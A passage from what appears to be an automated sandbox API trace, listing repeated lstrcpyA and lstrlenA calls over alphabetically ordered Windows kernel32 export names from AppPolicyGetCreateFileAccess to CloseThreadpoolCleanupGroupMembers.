lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0148.962] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0148.962] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0148.962] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0148.962] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0148.962] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0148.962] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0148.962] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0148.962] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0148.962] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0148.962] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0148.962] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0148.963] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0148.963] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0148.963] lstrlenA (lpString="BACKUPREAD") returned 10 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0148.963] lstrlenA (lpString="BACKUPSEEK") returned 10 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0148.963] lstrlenA (lpString="BACKUPWRITE") returned 11 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0148.963] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0148.963] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0148.963] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0148.963] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0148.963] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0148.963] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0148.963] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0148.963] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0148.963] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0148.963] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0148.963] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0148.963] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0148.964] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0148.964] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0148.964] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0148.964] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0148.964] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0148.964] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0148.964] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0148.964] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0148.964] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0148.964] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0148.964] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0148.964] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0148.964] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0148.964] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0148.964] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0148.964] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0148.965] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0148.965] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0148.965] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0148.965] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0148.965] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0148.965] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0148.965] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0148.965] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0148.965] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0148.965] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0148.965] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0148.965] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0148.965] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0148.965] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0148.965] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0148.965] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0148.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0148.966] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0148.966] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0148.966] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0148.966] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0148.966] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0148.966] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0148.966] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0148.966] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0148.966] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0148.966] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0148.966] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0148.966] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0148.966] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0148.966] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0148.966] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0148.966] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0148.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0148.967] lstrlenA (lpString="BEEP") returned 4 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0148.967] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0148.967] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0148.967] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0148.967] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0148.967] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0148.967] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0148.967] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0148.967] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0148.967] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0148.967] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0148.967] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0148.967] lstrlenA (lpString="CANCELIO") returned 8 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0148.967] lstrlenA (lpString="CANCELIOEX") returned 10 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0148.967] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0148.967] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0148.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0148.968] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0148.968] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0148.968] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0148.968] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0148.968] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0148.968] lstrlenA (lpString="CHECKELEVATION") returned 14 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0148.968] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0148.968] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0148.968] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0148.968] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0148.968] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0148.968] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0148.968] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0148.968] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0148.968] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0148.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0148.969] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0148.969] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0148.969] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0148.969] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0148.969] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0148.969] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0148.969] lstrlenA (lpString="CLOSESTATE") returned 10 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0148.969] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0148.969] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0148.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: 